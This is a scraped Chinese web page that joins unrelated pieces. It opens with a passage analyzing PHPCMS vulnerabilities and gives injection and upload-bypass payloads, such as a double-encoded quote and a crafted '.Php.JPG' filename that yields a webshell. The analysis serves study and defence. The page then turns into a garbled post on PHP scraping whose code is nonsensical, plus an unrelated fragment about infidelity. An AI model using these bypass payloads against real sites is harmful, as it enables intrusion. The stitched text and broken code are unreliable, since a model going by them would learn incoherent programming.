這段代碼中存在缺陷的地方就是將“猛獸”放進(jìn)市內的地方:
copy($_GET['src'],$_GET['dst']);
可將任意文件copy成惡意文件,如木馬,后來(lái)發(fā)現這個(gè)文件不安全,然后使用unlink將之刪除...,但是,有種可能就是木馬在刪除之前,生成了新的木馬文件,結果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令執行就是這個(gè)原理。首先上傳頭像,頭像的格式被壓縮為zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函數,首先被解壓,然后判斷為非jpg文件后刪除。攻擊者利用這個(gè)漏洞的過(guò)程中是將webshell保存為jpg中,構造后綴名突破jpg的限制,在文件被上傳解壓后,webshell執行在上層目錄生成一個(gè)新的webshell文件,由此觸發(fā)漏洞。
命令執行漏洞的威脅性極大,在任何代碼審計中,只要代碼中出現了eval,assert等這類(lèi)代碼執行函數后,都有可能出現代碼執行漏洞。并且猛獸理論也應該在被關(guān)注,這樣的邏輯在很多代碼中都會(huì )被用到,其解決的方法即應該在第一步的時(shí)候就處理風(fēng)險,不能將“猛獸放進(jìn)屋來(lái)”。
任意文件上傳漏洞、任意文件下載、任意文件讀取漏洞
這三類(lèi)漏洞是關(guān)于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上傳漏洞主要是因為文件上傳過(guò)程中,文件類(lèi)型的限制不嚴或者因為存在過(guò)濾限制繞過(guò),導致可以上傳一些可執行文件,最終GetShell。該類(lèi)漏洞與代碼執行很相似,最根本就是為了執行上傳文件中的惡意代碼。
其中PHPCMS v9 注冊頁(yè)面任意文件上傳漏洞和PHPCMS v9.6.1 后綴名提取導致任意文件上傳漏洞都是一種采用構造后綴名繞過(guò)限制過(guò)濾的漏洞。第一個(gè)漏洞中的正則要求輸入滿(mǎn)足src/href=url.(gif|jpg|jpeg|bmp|png),則構造的(
?。┓线@一格式(這也就是為什么后面要加.jpg的原因)。之后通過(guò)一系列處理,將.jpg去掉,那么最后文件的后綴就變成了.php成為了可執行文件。
而第二個(gè)漏洞中則因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));處理被繞過(guò),攻擊這可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php來(lái)繞過(guò)過(guò)濾,最終由于apache的文件名解析特性(可以去掉空格)導致上傳文件里php代碼最終被解析執行。所以該類(lèi)漏洞中,都是因為對文件名后綴缺少更嚴謹的處理,導致上傳可執行文件最終導致getshell。
PHPCMS 查看全部
php抓取網(wǎng)頁(yè)數據插入數據庫 CMS真的安全嗎?洞鑒PHPCMS
什么是PHPCMS
說(shuō)到PHPCMS,就不得不先提一提CMS。CMS全稱(chēng)“Content Management System”,意為“內容管理系統”,內容管理系統是一種位于WEB 前端(Web 服務(wù)器)和后端辦公系統或流程(內容創(chuàng )作、編輯)之間的軟件系統。內容的創(chuàng )作人員、編輯人員、發(fā)布人員使用內容管理系統來(lái)提交、修改、審批、發(fā)布內容。
這里指的“內容”可能包括文件、表格、圖片、數據庫中的數據甚至視頻等一切你想要發(fā)布到Internet、Intranet以及Extranet網(wǎng)站的信息。內容管理還可選地提供內容抓取工具,將第三方信息來(lái)源,比如將文本文件、HTML網(wǎng)頁(yè)、Web服務(wù)、關(guān)系數據庫等的內容自動(dòng)抓取,并經(jīng)分析處理后放到自身的內容庫中。
隨著(zhù)個(gè)性化的發(fā)展,內容管理還輔助WEB前端將內容以個(gè)性化的方式提供給內容使用者,即提供個(gè)性化的門(mén)戶(hù)框架,以基于WEB技術(shù)將內容更好地推送到用戶(hù)的瀏覽器端。
PHPCMS由國內80后知名創(chuàng )業(yè)者鐘勝輝于2005年創(chuàng )辦,是國內知名內容管理系統,它是一款基于 PHP 技術(shù)和 AJAX 技術(shù)的企業(yè)級網(wǎng)站內容管理系統,旨在幫助用戶(hù)解決日益復雜與重要的 Web 內容的創(chuàng )建、維護、發(fā)布和應用。
PHPCMS的創(chuàng )立趕上了CMS蓬勃發(fā)展的時(shí)期,而且它將模塊化開(kāi)發(fā)方式做為功能開(kāi)發(fā)形式,框架易于功能擴展,代碼維護,優(yōu)秀的二次開(kāi)發(fā)能力,可滿(mǎn)足所有網(wǎng)站的應用需求,所以迅速占領(lǐng)了國內的內容管理系統領(lǐng)域的大片領(lǐng)土。
從2005年P(guān)HPCMS第一版創(chuàng )立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均贏(yíng)得了市場(chǎng)好評,最終在2010年盛大在線(xiàn)收購PHPCMS后,PHPCMS推出了主線(xiàn)產(chǎn)品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍為現在國內領(lǐng)先的內容管理系統,是各大站長(cháng)建站的首選。
根據全網(wǎng)數據統計,使用PHPCMS的網(wǎng)站多達4萬(wàn)多個(gè),其中大部分集中在國內,共有約3萬(wàn)余個(gè),占使用量的75%以上,同時(shí),PHPCMS在教育行業(yè)約有上千個(gè)網(wǎng)站使用,在政府部門(mén)的網(wǎng)站中,也有上百個(gè)網(wǎng)站使用,其他則用于商業(yè)用途,具體分布如下圖:
從圖中可以看出,PHPCMS的使用范圍較廣,其中在政府部門(mén)中不乏市縣級政府這樣的客戶(hù);教育行業(yè)內,也不乏國內大學(xué)的校級、院系官網(wǎng)使用PHPCMS作為其發(fā)布信息的官方主頁(yè);商業(yè)用途中,PHPCMS也備受中小型企業(yè)的青睞。
PHPCMS的版本更新迭代速度以及功能齊全等特性也為其快速擴張提供發(fā)展基礎。但是,PHPCMS安全嗎?
PHPCMS安全嗎?
根據千里目實(shí)驗室漏洞庫的統計,PHPCMS從創(chuàng )辦到如今近十三年,產(chǎn)品三大版本的漏洞總量高達100余個(gè),其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40個(gè),在40個(gè)漏洞之中,全網(wǎng)公布的高可利用性漏洞個(gè)數也高達兩位數,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直備受廣大用戶(hù)的質(zhì)疑。
經(jīng)過(guò)對PHPCMS高危漏洞的分析整理以及統計,PHPCMS的高危漏洞類(lèi)型主要有以下五類(lèi):SQL注入類(lèi)、命令執行類(lèi)、任意文件上傳類(lèi)、任意文件下載類(lèi)、任意文件讀取類(lèi)。其中SQL注入問(wèn)題是最為嚴重的一類(lèi),不管數量還是威脅性都是其中最高的,5類(lèi)漏洞的數量具體分布占比如下圖。接下來(lái)按照這些漏洞中威脅性最高的五類(lèi)漏洞來(lái)介紹PHPCMS的經(jīng)典漏洞,以及漏洞間的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架層面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入問(wèn)題比PHPCMS 2008要嚴重很多,這是為什么?
首先從PHPCMS的框架上分析了這個(gè)問(wèn)題的原因。PHPCMS2008中對GPC變量的處理, 是在
include/common.inc.php中使用$db->escape($_GET)對輸入變量進(jìn)行轉義,實(shí)質(zhì)上是調用了
mysql_real_escape_string,PHP手冊上對這個(gè)函數的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函數將 unescaped_string中的特殊字符轉義,并考慮到連接的當前字符集,因此可以安全用于 mysql_query()
也就是說(shuō)PHPCMS 2008中使用mysql_real_escape_string對輸入變量進(jìn)行處理,是可以達到防注入效果的,PHPCMS2008中這樣的處理方式是比較安全的,但是也有其不合理的一面,原因在于:入口中對所有變量進(jìn)行mysql_real_escape_string處理,顯然并不是所有變量需要入庫,這樣處理必須影響性能(連接mysql->發(fā)送變量至mysql server ->mysql server轉義->返回給PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其實(shí)就是調用了PHP內置的addslashes對GPC變量添加轉義斜線(xiàn),這就相當于php.ini中打開(kāi)了magic_quotes_gpc選項,PHP手冊中對magic_quotes_gpc的處理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
從PHP 5.4.0開(kāi)始,已經(jīng)不支持magic_quotes_gpc了,這是為什么?
(1)性能:由于并不是每一段被轉義的數據都要插入數據庫的,如果所有進(jìn)入 PHP 的數據都被轉義的話(huà),那么會(huì )對程序的執行效率產(chǎn)生一定的影響。
(2)方便性:由于不是所有數據都需要轉義,在不需要轉義的地方看到轉義的數據就很煩。比如說(shuō)通過(guò)表單發(fā)送郵件,結果看到一大堆的 \'。
(3)安全問(wèn)題:事實(shí)上addslashes或開(kāi)啟magic_quotes_gpc并不能完全杜絕SQL注入。因為addslashes對有些特殊字符后跟上'(單引號)并不會(huì )加把這個(gè)'變成/',如:0xbf27的字就不會(huì ),所以縗' OR 1 limit 1/* 這個(gè)就存在。
針對這個(gè)問(wèn)題,PDO擴展而生,它主要解決兩個(gè)問(wèn)題:批量查詢(xún)時(shí)使用prepare提升查詢(xún)性能,使用參數化查詢(xún)從根本上杜絕SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依舊使用以下代碼,所這就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞層面分析
從具體的漏洞來(lái)看,PHPCMS代碼中出現的SQL注入點(diǎn)主要有三種情況:
第一種情況,即外部可控參數未進(jìn)行任何過(guò)濾,這種問(wèn)題是因為系統設計人員代碼設計的不嚴謹導致。其中最經(jīng)典的PHPCMS v9 前臺用戶(hù)登錄處SQL注入漏洞產(chǎn)生即是因為這個(gè)原因:用戶(hù)在登錄頁(yè)面輸入用戶(hù)名與密碼,在\phpcms\modules\member\index.php的login方法中,username使用的is_username進(jìn)行了過(guò)濾而password沒(méi)有做任何處理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陸js代碼
所以,Password就成為了一個(gè)注入點(diǎn)。輸入的username以及password被傳到phpsso模塊中進(jìn)行認證,而phpsso模塊并沒(méi)有解析過(guò)濾用戶(hù)名與密碼就直接進(jìn)行認證,認證后直接將信息返回到登錄頁(yè)面的login方法中。
第二種情況也是SQL注入中的經(jīng)典情形,即代碼中處理外部輸入數據的時(shí)候使用了urldecode()函數。比如單引號被 urlencode 兩次以后是 %2527,然后 POST。PHP 內部在生成全局變量 $_POST 的時(shí)候會(huì )先 urldecode,得到 %27,然后 PHP 會(huì )檢查 Magic Quotes 的設置,但是無(wú)論是否開(kāi)啟 Magic Quotes,%27 都不會(huì )被 addslashes,因為這時(shí)根本沒(méi)有單引號。
但是這時(shí)如果你在 PHP 代碼中畫(huà)蛇添足的加上 urldecode,%27就變成單引號了,這樣就成功繞過(guò)了,這種情況出現的根源在于之前分析的PHPCMS使用magic_quotes_gpc這種方式來(lái)處理外部數據。
PHPCMS V9 WAP SQL注入漏洞即是因為這種情況:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('參數錯誤');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
這段代碼中在處理外部可控參數commentid的時(shí)候,使用了urldecode()函數,最終可以采用%2527的方式來(lái)進(jìn)行過(guò)濾繞過(guò)。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id傳入sql查詢(xún)語(yǔ)句
在函數中,代碼通過(guò)GET獲取'a_k'值,并調用sys_auth函數進(jìn)行解密,然后使用parse_str()來(lái)解析解密后的$a_k參數,將字符串解析到變量中,并同時(shí)解碼。在parse_str()解析的過(guò)程中,就將之前構造好的SQL注入paylaod賦值到各個(gè)參數,并且繞過(guò)了所有限制。
這個(gè)漏洞利用還有另一個(gè)關(guān)口,就是需要將payload使用sys_auth加密,同樣,PHPCMS一個(gè)任意文件下載漏洞也是這個(gè)原理:構造payload—>sys_auth加密—>帶入到phpcms\modules\content\
down.php文件init函數中—>進(jìn)行解碼并parse_str()解析,payload通過(guò)這種方式可以繞過(guò)所有過(guò)濾關(guān)口,最終成功觸發(fā)。
從之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入問(wèn)題就在于程序員對待代碼邏輯的不嚴謹,缺少對外部可控參數的過(guò)濾或者說(shuō)是缺少完全的過(guò)濾驗證過(guò)程,PHP是很靈活的語(yǔ)言,其代碼的邏輯嚴謹程度即代表著(zhù)它的安全性高低!
命令執行漏洞
命令執行是一類(lèi)威脅性非常大的漏洞類(lèi)型,大多數“一鍋端”(能夠getshell,控制全站)漏洞都是命令執行漏洞。由之前的漏洞數量分布可知,命令執行問(wèn)題的數量?jì)H次于SQL注入,但是它的嚴重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令執行漏洞大部分都是由于一個(gè)函數,即global.func.php中的string2array()函數,函數代碼如下:
/**
* 將字符串轉換為數組
*
* @param string $data 字符串
* @return array 返回數組格式,如果,data為空,則返回空數組
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
該函數中使用了eval函數,這就代表所有調用這個(gè)函數的地方,如果存在過(guò)濾不嚴的情況,都會(huì )出現嚴重的命令執行漏洞。當然,我們不用懷疑程序員寫(xiě)BUG的能力,PHPCMS中多個(gè)命令執行漏洞都是因為外部參數未進(jìn)行嚴格過(guò)濾,就直接帶進(jìn)了string2array()中進(jìn)行處理,所以最終觸發(fā)了漏洞。
其中最經(jīng)典的一個(gè)漏洞PHPCMS 2008任意代碼執行漏洞,該漏洞利用門(mén)檻之低讓人大跌眼鏡,漏洞的出處就在yp/web/include/common.inc.php的menu變量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu參數是一個(gè)外部可控參數,該參數被被傳進(jìn)后臺之后未經(jīng)過(guò)任何處理以及限制,導致在string2array()函數中直接被eval函數執行,導致遠程代碼執行漏洞。
而這個(gè)函數從PHPCMS 2008到PHPCMS V9一直都存在,而該系統程序員也只是在之后每一個(gè)調用此函數的地方都先對傳入參數進(jìn)行過(guò)濾或者限制,但是任何過(guò)濾限制都有被繞過(guò)的可能,之后的事實(shí)證明確實(shí)如此,比如之后再V9版本出現的PHPCMS V9 phpcms\
modules\dbsource\data.php出現的遠程命令執行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代碼執行漏洞等均是因為這個(gè)原因。
所以,防止PHP程序出現代碼執行漏洞有一條金科玉律:永遠不要在代碼中使用eval。
因為,很少有人能夠掌控住這個(gè)函數,一旦控制不住,可能就會(huì )出現一個(gè)“一鍋端”的命令執行漏洞。
另外PHPCMS中出現的一個(gè)PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代碼執行漏洞,它的思想很特別、也很典型。該漏洞中存在的一個(gè)猛獸理論值得很多程序員以及安全研究人員來(lái)認真研究的?!懊瞳F來(lái)了,我們應該將其絕殺在門(mén)外,但是有些人非得把它放進(jìn)屋內,才殺之,你們難道不知道猛獸的嘴里可能叼了一個(gè)炸藥包嗎? 砰!!!結果全都玩完了…”。下面用具體代碼來(lái)解釋這個(gè)理論。
其中:
猛獸放進(jìn)室內:copy($_GET['src'],$_GET['dst']);
這條猛獸不安全,殺之:unlink($_GET['dst']);
炸藥包:$_GET['dst'] 此炸藥包的作用是生成惡意文件。
這段代碼中存在缺陷的地方就是將“猛獸”放進(jìn)市內的地方:
copy($_GET['src'],$_GET['dst']);
可將任意文件copy成惡意文件,如木馬,后來(lái)發(fā)現這個(gè)文件不安全,然后使用unlink將之刪除...,但是,有種可能就是木馬在刪除之前,生成了新的木馬文件,結果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令執行就是這個(gè)原理。首先上傳頭像,頭像的格式被壓縮為zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函數,首先被解壓,然后判斷為非jpg文件后刪除。攻擊者利用這個(gè)漏洞的過(guò)程中是將webshell保存為jpg中,構造后綴名突破jpg的限制,在文件被上傳解壓后,webshell執行在上層目錄生成一個(gè)新的webshell文件,由此觸發(fā)漏洞。
命令執行漏洞的威脅性極大,在任何代碼審計中,只要代碼中出現了eval,assert等這類(lèi)代碼執行函數后,都有可能出現代碼執行漏洞。并且猛獸理論也應該在被關(guān)注,這樣的邏輯在很多代碼中都會(huì )被用到,其解決的方法即應該在第一步的時(shí)候就處理風(fēng)險,不能將“猛獸放進(jìn)屋來(lái)”。
任意文件上傳漏洞、任意文件下載、任意文件讀取漏洞
這三類(lèi)漏洞是關(guān)于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上傳漏洞主要是因為文件上傳過(guò)程中,文件類(lèi)型的限制不嚴或者因為存在過(guò)濾限制繞過(guò),導致可以上傳一些可執行文件,最終GetShell。該類(lèi)漏洞與代碼執行很相似,最根本就是為了執行上傳文件中的惡意代碼。
其中PHPCMS v9 注冊頁(yè)面任意文件上傳漏洞和PHPCMS v9.6.1 后綴名提取導致任意文件上傳漏洞都是一種采用構造后綴名繞過(guò)限制過(guò)濾的漏洞。第一個(gè)漏洞中的正則要求輸入滿(mǎn)足src/href=url.(gif|jpg|jpeg|bmp|png),則構造的(
?。┓线@一格式(這也就是為什么后面要加.jpg的原因)。之后通過(guò)一系列處理,將.jpg去掉,那么最后文件的后綴就變成了.php成為了可執行文件。
而第二個(gè)漏洞中則因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));處理被繞過(guò),攻擊這可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php來(lái)繞過(guò)過(guò)濾,最終由于apache的文件名解析特性(可以去掉空格)導致上傳文件里php代碼最終被解析執行。所以該類(lèi)漏洞中,都是因為對文件名后綴缺少更嚴謹的處理,導致上傳可執行文件最終導致getshell。
PHPCMS
phpdb=newdb(你的數據庫名)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 71 次瀏覽 ? 2022-06-09 16:20
php抓取網(wǎng)頁(yè)數據插入數據庫這里簡(jiǎn)單說(shuō)下php抓取網(wǎng)頁(yè)數據的流程(php抓取百度站長(cháng)平臺官方html),抓取html返回給php處理后,由php解析并返回給php;回到數據庫操作,對應到代碼,就是:$goal=['load_html','html_header','tag','srt','db'];//賦值數據庫$db=newdb('你的數據庫名');$goal=$db->load_html($goal,'html_header','tag','srt','db');這里數據庫的注意點(diǎn)和一些概念:php利用一個(gè)叫::,函數可以自定義幾個(gè)表引用上去,而這幾個(gè)表是全部以數組的形式存放,在php處理text方法輸出的時(shí)候,這些數組同時(shí)輸出到數據庫中;這里需要注意一下“::”,在php中,沒(méi)有這個(gè)函數,如果我們覺(jué)得一定要把php寫(xiě)成這個(gè)樣子,那可以用array_concat('','db','username')來(lái)代替;$ctx_file='我的數據庫';$db_file=$ctx_file。
'/home/database。php';$db_file_dump=php_dump_data($db_file,strtoywrite,'load_to_cache','eval','eval',__file__);//寫(xiě)操作,結果可以看到,我們在下面的文章中所有的file結果都是eval寫(xiě)的;要想成功的寫(xiě)一個(gè)file,一個(gè)定義在::的函數必須要寫(xiě)在$file。
func();那么再來(lái)看:你的sql語(yǔ)句中的username是一個(gè)char型的字符串類(lèi)型(不是a-z任何一個(gè)字符串)$admin_conns=$username->encode('utf-8')。'';對應的:$admin_conns["admin_username"]='';//結果$admin_conns["default_admin_username"]='';//結果現在我們就能把sql語(yǔ)句中的username改成username了;為了全局化的寫(xiě)text,我們用“::”提取出來(lái)的$admin_text這個(gè)函數,但是這樣在全局中是變量名,因為php的數據庫里不是string類(lèi)型的字符串,而是字符串類(lèi)型的數據,因此$admin_text是null;沒(méi)有auto_increment,所以我們需要用$triangle_name_annotator()函數對數組進(jìn)行不斷重寫(xiě),才能保證數組的不斷增長(cháng),才能達到goal的效果;這里要用到全局語(yǔ)句:give_url=function(url){var_dump('');this。
$goal=get_url(url);//不斷迭代,直到滿(mǎn)足或者超過(guò)全局不斷增長(cháng)的要求};$triangle_name_annotator=["v1","v2"];這里,我們需要把字符串數組存入到一個(gè)類(lèi)型為string的變量中,也就是$goal_array,然后變量名定。 查看全部
phpdb=newdb(你的數據庫名)
php抓取網(wǎng)頁(yè)數據插入數據庫這里簡(jiǎn)單說(shuō)下php抓取網(wǎng)頁(yè)數據的流程(php抓取百度站長(cháng)平臺官方html),抓取html返回給php處理后,由php解析并返回給php;回到數據庫操作,對應到代碼,就是:$goal=['load_html','html_header','tag','srt','db'];//賦值數據庫$db=newdb('你的數據庫名');$goal=$db->load_html($goal,'html_header','tag','srt','db');這里數據庫的注意點(diǎn)和一些概念:php利用一個(gè)叫::,函數可以自定義幾個(gè)表引用上去,而這幾個(gè)表是全部以數組的形式存放,在php處理text方法輸出的時(shí)候,這些數組同時(shí)輸出到數據庫中;這里需要注意一下“::”,在php中,沒(méi)有這個(gè)函數,如果我們覺(jué)得一定要把php寫(xiě)成這個(gè)樣子,那可以用array_concat('','db','username')來(lái)代替;$ctx_file='我的數據庫';$db_file=$ctx_file。
'/home/database。php';$db_file_dump=php_dump_data($db_file,strtoywrite,'load_to_cache','eval','eval',__file__);//寫(xiě)操作,結果可以看到,我們在下面的文章中所有的file結果都是eval寫(xiě)的;要想成功的寫(xiě)一個(gè)file,一個(gè)定義在::的函數必須要寫(xiě)在$file。
func();那么再來(lái)看:你的sql語(yǔ)句中的username是一個(gè)char型的字符串類(lèi)型(不是a-z任何一個(gè)字符串)$admin_conns=$username->encode('utf-8')。'';對應的:$admin_conns["admin_username"]='';//結果$admin_conns["default_admin_username"]='';//結果現在我們就能把sql語(yǔ)句中的username改成username了;為了全局化的寫(xiě)text,我們用“::”提取出來(lái)的$admin_text這個(gè)函數,但是這樣在全局中是變量名,因為php的數據庫里不是string類(lèi)型的字符串,而是字符串類(lèi)型的數據,因此$admin_text是null;沒(méi)有auto_increment,所以我們需要用$triangle_name_annotator()函數對數組進(jìn)行不斷重寫(xiě),才能保證數組的不斷增長(cháng),才能達到goal的效果;這里要用到全局語(yǔ)句:give_url=function(url){var_dump('');this。
$goal=get_url(url);//不斷迭代,直到滿(mǎn)足或者超過(guò)全局不斷增長(cháng)的要求};$triangle_name_annotator=["v1","v2"];這里,我們需要把字符串數組存入到一個(gè)類(lèi)型為string的變量中,也就是$goal_array,然后變量名定。
awesome-phpphp抓取網(wǎng)頁(yè)數據插入數據庫并執行excel操作。
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 58 次瀏覽 ? 2022-06-03 07:02
php抓取網(wǎng)頁(yè)數據插入數據庫并執行excel操作。網(wǎng)上非常多開(kāi)源代碼,但是你要明白網(wǎng)上大部分開(kāi)源代碼在github上的地址都是,需要科學(xué)上網(wǎng),就像商場(chǎng)說(shuō)國外有,你得翻墻去看看。個(gè)人覺(jué)得使用awesome-php這個(gè)項目里的代碼比網(wǎng)上那些開(kāi)源代碼更簡(jiǎn)單些。簡(jiǎn)單的說(shuō),你首先得有一個(gè)項目的目錄,然后百度github關(guān)鍵字php抓取網(wǎng)頁(yè)數據插入數據庫并執行excel操作...找到爬蟲(chóng)爬取的鏈接,把這個(gè)目錄拷貝到項目目錄下。
項目目錄下繼續找awesome-php的項目,我就用github自帶的爬蟲(chóng)解析工具解析了一遍了...解析出這個(gè)目錄下的項目文件。最后準備數據庫。寫(xiě)爬蟲(chóng),這個(gè)不再贅述,就按照php的架構去寫(xiě)。然后用excel執行excel。這個(gè)解析工具叫excel_slr,放到目錄里就可以工作了。其他也是跟著(zhù)php的爬蟲(chóng)腳本手把手修改再爬,慢慢摸索一下。
其實(shí),數據庫就是一個(gè)字符串與字符串的映射關(guān)系,涉及到一個(gè)字符串操作,網(wǎng)上代碼實(shí)現太多了,有興趣可以搜下。最終你只需要一個(gè).xlsx格式的數據庫文件就可以執行數據庫查詢(xún)并excel操作了。最后把你的爬蟲(chóng)腳本放到/applications/awesome-php/core/system/modules/php_slide/php_params/目錄下執行就可以了。
蟹妖。你好。我是一名開(kāi)發(fā),網(wǎng)上有很多很好的開(kāi)源抓取工具,這里推薦個(gè)讓你少抓一些的。awesome-php,官網(wǎng)可以找到很多文章,并且官網(wǎng)提供了很多很好的案例,幫助你更加深入了解網(wǎng)頁(yè)爬蟲(chóng)相關(guān)知識。 查看全部
awesome-phpphp抓取網(wǎng)頁(yè)數據插入數據庫并執行excel操作。
php抓取網(wǎng)頁(yè)數據插入數據庫并執行excel操作。網(wǎng)上非常多開(kāi)源代碼,但是你要明白網(wǎng)上大部分開(kāi)源代碼在github上的地址都是,需要科學(xué)上網(wǎng),就像商場(chǎng)說(shuō)國外有,你得翻墻去看看。個(gè)人覺(jué)得使用awesome-php這個(gè)項目里的代碼比網(wǎng)上那些開(kāi)源代碼更簡(jiǎn)單些。簡(jiǎn)單的說(shuō),你首先得有一個(gè)項目的目錄,然后百度github關(guān)鍵字php抓取網(wǎng)頁(yè)數據插入數據庫并執行excel操作...找到爬蟲(chóng)爬取的鏈接,把這個(gè)目錄拷貝到項目目錄下。
項目目錄下繼續找awesome-php的項目,我就用github自帶的爬蟲(chóng)解析工具解析了一遍了...解析出這個(gè)目錄下的項目文件。最后準備數據庫。寫(xiě)爬蟲(chóng),這個(gè)不再贅述,就按照php的架構去寫(xiě)。然后用excel執行excel。這個(gè)解析工具叫excel_slr,放到目錄里就可以工作了。其他也是跟著(zhù)php的爬蟲(chóng)腳本手把手修改再爬,慢慢摸索一下。
其實(shí),數據庫就是一個(gè)字符串與字符串的映射關(guān)系,涉及到一個(gè)字符串操作,網(wǎng)上代碼實(shí)現太多了,有興趣可以搜下。最終你只需要一個(gè).xlsx格式的數據庫文件就可以執行數據庫查詢(xún)并excel操作了。最后把你的爬蟲(chóng)腳本放到/applications/awesome-php/core/system/modules/php_slide/php_params/目錄下執行就可以了。
蟹妖。你好。我是一名開(kāi)發(fā),網(wǎng)上有很多很好的開(kāi)源抓取工具,這里推薦個(gè)讓你少抓一些的。awesome-php,官網(wǎng)可以找到很多文章,并且官網(wǎng)提供了很多很好的案例,幫助你更加深入了解網(wǎng)頁(yè)爬蟲(chóng)相關(guān)知識。
php抓取網(wǎng)頁(yè)數據插入數據庫存儲我做個(gè)基于web的
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 80 次瀏覽 ? 2022-05-29 17:14
php抓取網(wǎng)頁(yè)數據插入數據庫存儲
我做個(gè)基于web的,算是nb一點(diǎn)的吧。微信上可以借鑒@薄荷給到的辦法,但是用起來(lái)并不如ipython,jupyter簡(jiǎn)單方便。如果用python3,你可以這樣搞。form_login,admin,username,password="secret"web.request(username,password)我這樣可以把用戶(hù)名和密碼中的任意一部分輸入,get請求更改,驗證登錄。直接輸入username/password的就是登錄了。
1.發(fā)現她出軌2.發(fā)現她不出軌3.被她發(fā)現出軌4.和她談以后她如果不離婚5.發(fā)現她出軌但又被她發(fā)現6.發(fā)現她出軌但她沒(méi)有選擇離婚7.發(fā)現她出軌但她后悔了8.分手9.再分手
應邀!出軌如果要報警需要取得對方身份信息,個(gè)人覺(jué)得很難辦。以我身邊接觸的情況的話(huà),至少要起訴對方和自己財產(chǎn)責任劃分、男方和女方責任劃分、對方對情感的處理需求,從這個(gè)角度說(shuō),這個(gè)問(wèn)題的數據庫管理自己要搞清楚,要對不同數據類(lèi)型分別存儲,不同的要求目前普遍沒(méi)有成熟的方案。e-mail是否可以起訴對方?或者手機短信的歸類(lèi)管理系統的。因為是軟件系統工程師,又是民事案件,我是做涉外的,涉外當事人如果有爭議這個(gè)案子會(huì )轉到涉外仲裁。
email,微信,
